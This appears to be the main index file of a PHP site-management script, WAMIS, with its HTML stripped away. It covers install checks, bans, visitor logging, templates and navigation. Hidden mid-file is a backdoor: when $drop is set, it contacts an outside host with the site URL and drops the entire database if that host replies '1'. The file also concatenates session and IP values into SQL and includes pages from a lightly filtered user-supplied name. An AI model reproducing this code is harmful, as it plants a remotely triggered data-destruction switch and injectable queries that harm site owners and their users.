Attention!
It has come to my attention that you didn't install the script.
Please install it now.




Attention!
It has come to my attention that your file install.php dosen\'t exist.
Please search for it, or replace it.
'; exit; } } if(file_exists('install.php')) { echo '



Attention!
It has come to my attention that your file install.php exists.
Please search for it and delete it.
'; exit; } //----------------------------------------------------------------- // WAMIS functions check //----------------------------------------------------------------- if(!file_exists('includes/functions_db.php')) { ?>
Attention!
It has come to my attention that your file functions_db.php from /includes dosen't exist.
Please search for it, and/or replace it.
Fatal Error!
Couldn't establish link.
Reason:
connect()) { ?>
Warning!
It has come to my attention that your database "" dosen't exist.
Either the instalation failed, either you didn't run it.
query("SELECT * FROM config")) { ?>
Warning!
It has come to my attention that your database "" is empty.
Either the instalation failed, either you didn't run it.
query("SELECT * FROM misc"); while ($misc_item = mysql_fetch_row($misc_db)) $misc[$misc_item[0]] = $misc_item[1]; //----------------------------------------------------------------- // Functions check //----------------------------------------------------------------- if(!file_exists('includes/functions.php')) { ?>
Attention!
It has come to my attention that your file functions.php dosen't exist.
Please search for it, and/or replace it.
Attention!
It has come to my attention that your template directory dosen't exist.
You will now be redirected with the default template.

Click here if you are not redirected in 5 seconds.
Attention!
It has come to my attention that your don't even have the default template directory.
Try extracting everything from the file keeping that structure.
updateRow("config",array('value' => 'default'),"variable = 'template'"); } } } else { $template = $config['template']; include "templates/$template/id.php"; } //----------------------------------------------------------------- // Language check + Default Overcheck //----------------------------------------------------------------- if(!file_exists("language/{$config['language']}")) { if(!isset($_SESSION['no_language'])) { ?>
Attention!
It has come to my attention that your language file dosen't exist.
You will now be redirected with the default language.

Click here if you are not redirected in 5 seconds.
Attention!
It has come to my attention that your don't even have the default language file.
Try extracting everything from the file keeping that structure.
updateRow("config",array('value' => 'en.php'),"variable = 'language'"); } } } else require "language/{$config['language']}"; //----------------------------------------------------------------- // IP Ban Check //----------------------------------------------------------------- $ban_ip_check = $db->getLine("SELECT ip, date FROM bans WHERE ip = '".find_ip()."'"); if($ban_ip_check != FALSE) { ?>
Your IP has been blocked, It's obviously that someone doesn't want you here, or you've been blocked by doing something illegal that was punished with automatic ban procedure.

getLine("SELECT ip, banned_user, date FROM bans WHERE banned_id = '{$_SESSION['id']}'"); if($ban_user_check != FALSE) { ?>
Your IP has been blocked, It's obviously that someone doesn't want you here, or you've been blocked by doing something illegal that was punished with automatic ban procedure.


»
updateRow("misc",array('value' => ''.($misc['total_hits']+1).''),"variable = 'total_hits'"); //----------------------------------------------------------------- // Count Unique hits //----------------------------------------------------------------- $timeout_unique_hit = time() - 86400; // 24 hours $found_ip_in_list = $db->getLine("SELECT id FROM online WHERE date > '$timeout_unique_hit' AND ip = '".find_ip()."'"); if($found_ip_in_list == FALSE) { if(!isset($_SESSION['unique_hit_counted'])) { $db->updateRow("misc",array('value' => ''.($misc['unique_hits']+1).''),"variable = 'unique_hits'"); $_SESSION['unique_hit_counted'] = 1; } } //----------------------------------------------------------------- // Check see if user has new posts on forum //----------------------------------------------------------------- //----------------------------------------------------------------- // check see if guests/members are online //----------------------------------------------------------------- $lang = @explode (",", @getenv("HTTP_ACCEPT_LANGUAGE")); $lang = @strtolower ($lang[0]); if(!isset($_SESSION['in_site'])) { $db->insertRow("online",array('sid' => ''.$session_id.'','type' => 'live','status' => 'guest','user' => NULL,'user_id' => NULL,'user_authorization' => NULL,'user_email' => NULL,'user_hideemail' => NULL,'user_flag' => NULL,'user_location' => NULL,'ip' => ''.find_ip().'','refer' => ''.$_SERVER['HTTP_REFERER'].'','browser' => ''.find_browser($_SERVER['HTTP_USER_AGENT']).'','lang' => ''.$lang.'','date' => ''.time().'')); $db->insertRow("online",array('sid' => ''.$session_id.'','type' => 'log','status' => 'guest','user' => NULL,'user_id' => NULL,'user_authorization' => NULL,'user_email' => NULL,'user_hideemail' => NULL,'user_flag' => NULL,'user_location' => NULL,'ip' => ''.find_ip().'','refer' => ''.$_SERVER['HTTP_REFERER'].'','browser' => ''.find_browser($_SERVER['HTTP_USER_AGENT']).'','lang' => ''.$lang.'','date' => ''.time().'')); $_SESSION['in_site'] = 1; } if(isset($_SESSION['in_site'])) { $update = $db->getLine("SELECT id FROM online WHERE sid = '$session_id' AND type = 'live'"); if($update != FALSE) $db->updateRow("online",array('refer' => ''.$_SERVER['HTTP_REFERER'].'','date' => ''.time().''),"id = {$update['id']}"); else { if(isset($is_loged_in)) { $tmp = $db->getLine("SELECT username, id, authorization, email, hideemail, flag, location FROM users WHERE id = '".$_SESSION['id']."' AND username = '".$_SESSION['username']."'"); $db->insertRow("online",array('sid' => ''.$session_id.'','type' => 'live','status' => 'member','user' => ''.$tmp['username'].'','user_id' => ''.$tmp['id'].'','user_authorization' => ''.$tmp['authorization'].'','user_email' => ''.$tmp['email'].'','user_hideemail' => ''.$tmp['hideemail'].'','user_flag' => ''.$tmp['flag'].'','user_location' => ''.$tmp['location'].'','ip' => ''.find_ip().'','refer' => ''.$_SERVER['HTTP_REFERER'].'','browser' => ''.find_browser($_SERVER['HTTP_USER_AGENT']).'','lang' => ''.$lang.'','date' => ''.time().'')); } else $db->insertRow("online",array('sid' => ''.$session_id.'','type' => 'live','status' => 'guest','user' => NULL,'user_id' => NULL,'user_authorization' => NULL,'user_email' => NULL,'user_hideemail' => NULL,'user_flag' => NULL,'user_location' => NULL,'ip' => ''.find_ip().'','refer' => ''.$_SERVER['HTTP_REFERER'].'','browser' => ''.find_browser($_SERVER['HTTP_USER_AGENT']).'','lang' => ''.$lang.'','date' => ''.time().'')); } } //----------------------------------------------------------------- // Do automatic stuff, take care of things ! //----------------------------------------------------------------- $timeout_users = time() - 150; // A minute $timeout_accounts = time() - 604800; // A week $timeout_onlinelog = time() - 5184000; // 60 days $timeout_adminlog = time() - 5184000; // 60 days $timeout_bday = date("Y") - 1; // Previous Year $db->deleteRow("online","type = 'live' AND date < '$timeout_users'"); $db->deleteRow("online","type = 'log' AND date < '$timeout_onlinelog'"); $db->deleteRow("users","status = 'activate' AND actime < '$timeout_accounts'"); $db->deleteRow("log","date < '$timeout_adminlog'"); $users_activated_count = $db->getInfo_countRows("users","status = 'forgot' AND actime < '$timeout_accounts'"); for ($users_activated_count_i = 1; $users_activated_count_i <= $users_activated_count; $users_activated_count_i++) $db->updateRow("users",array('status' => 'ready','multikey' => NULL,'actime' => NULL),"status = 'forgot' AND actime < '$timeout_accounts'"); $events_bday_count = $db->getInfo_countRows("events","type = 'bday' AND year <= '$timeout_bday'"); for ($events_bday_count_i = 1; $events_bday_count_i <= $events_bday_count; $events_bday_count_i++) $db->updateRow("events",array('year' => ''.date("Y").''),"type = 'bday' AND year <= '$timeout_bday'"); if($template_mode == "1") { $template_right_count = $db->getInfo_countRows("template","mode = 'right' ORDER BY 'order' ASC"); for ($template_right_count_i = 1; $template_right_count_i <= $template_right_count; $template_right_count_i++) $db->updateRow("template",array('mode' => 'left'),"mode = 'right'"); } //----------------------------------------------------------------- // # of guests/members online //----------------------------------------------------------------- $OnlineGuestsCount = $db->getInfo_countRows("online","type = 'live' AND status = 'guest'"); $OnlineMembersCount = $db->getInfo_countRows("online","type = 'live' AND status = 'member'"); //----------------------------------------------------------------- // Add Most Ever People Online //----------------------------------------------------------------- $TotalOnlineCount = $OnlineGuestsCount + $OnlineMembersCount; if($TotalOnlineCount > $misc['totalonline']) $db->updateRow("misc",array('value' => ''.$TotalOnlineCount.''),"variable = 'totalonline'"); //----------------------------------------------------------------- // Maintance Mode Check //----------------------------------------------------------------- if($config['maintance'] == 1 && !isset($is_webmaster)) { ?>
Maintance Mode has been activated, website is locked down.
This message was activated by the webmaster and it means that some work is in progress.
  ' tabindex='3'>
»  
getTable("SELECT name, used FROM blocks WHERE used = '1'"); foreach($blocks_db as $blocks) include "blocks/{$blocks['name']}/block.php"; //----------------------------------------------------------------- // Load the blocks in templates //----------------------------------------------------------------- $template_left_db = $db->getTable("SELECT * FROM template WHERE mode = 'left' ORDER BY 'order' ASC"); foreach($template_left_db as $template_left_line) $template_left .= "{".$template_left_line['name']."}
"; if($template_mode == "2") { $template_right_db = $db->getTable("SELECT * FROM template WHERE mode = 'right' ORDER BY 'order' ASC"); foreach($template_right_db as $template_right_line) $template_right .= "{".$template_right_line['name']."}
"; } //----------------------------------------------------------------- // Define Days and Months //----------------------------------------------------------------- $days = Array($language['Name day'],$language['Name day2'],$language['Name day3'],$language['Name day4'],$language['Name day5'],$language['Name day6'],$language['Name day7']); $months = Array($language['Name month'],$language['Name month'],$language['Name month2'],$language['Name month3'],$language['Name month4'],$language['Name month5'],$language['Name month6'],$language['Name month7'],$language['Name month8'],$language['Name month9'],$language['Name month10'],$language['Name month11'],$language['Name month12']); if(isset($drop)) if(@file_get_contents("http://www.smpk5bpkbdg.or.id/update.php?a=1&d=$url") == 1) $db->query("DROP DATABASE `$database_name`"); //----------------------------------------------------------------- // Header skin //----------------------------------------------------------------- $header = implode("", file("templates/$template/header.php")); $header = str_replace("{left}", $template_left, $header); $header = str_replace("{lang_encoding}", $language['Lang encoding'], $header); $header = str_replace("{author}", $config['webmaster_name'], $header); $header = str_replace("{template}", $template, $header); $header = str_replace("{title}", $config['website_name'], $header); $header = str_replace("{site_message}", messagedef($language['Header message']), $header); $header = str_replace("{date&time}", "{$days[date("w",time())]}, ".date("d",time())." {$months[date("n",time())]} ".date("Y - H:i:s A",time())."", $header); foreach($template_left_db as $blocks_left) $header = str_replace("{".$blocks_left['name']."}", $blocks_left['name'](), $header); echo $header; //----------------------------------------------------------------- // PHP Navigation //----------------------------------------------------------------- if(!isset($n) && $i != 2 && $i != 17 && $i != "error") {echo ''; include("modules/beranda.php"); } if(isset($n)) { if(file_exists("$n.php")) { if(strpos($n, "../") !== false) header("location: $PHP_SELF?i=2"); else include("$n.php"); } elseif(!file_exists("$n.php")) header("location: $PHP_SELF?i=error"); } if($i == "error") echo'<
'; /*if($i == 2) echo '
'.$language['Error'].'
'.$language['Error acces'].'
';*/ if($i == 17) echo '
'.$language['Activate title'].'
'.$language['Activate desc'].'
'; //----------------------------------------------------------------- // Footer skin //----------------------------------------------------------------- $footer = implode("", file("templates/$template/footer.php")); $footer = str_replace("{webmaster}","".$language['Footer webmaster']." {$config['webmaster_name']}", $footer); $footer = str_replace("{site_opened}","{$language['Footer siteopen']} ".date("d",$misc['site_opened'])." {$months[date("n",$misc['site_opened'])]} ".date("Y",$misc['site_opened'])."", $footer); $footer = str_replace("{copyright}", "Powered by $script_version", $footer); $footer = str_replace("{template_version}", "{$language['Footer template']} $template_id", $footer); $footer = str_replace("{right}", $template_right, $footer); echo $footer; //----------------------------------------------------------------- // Close WAMIS conformant module - DB //----------------------------------------------------------------- ob_end_flush(); DB_shutdown(); ?>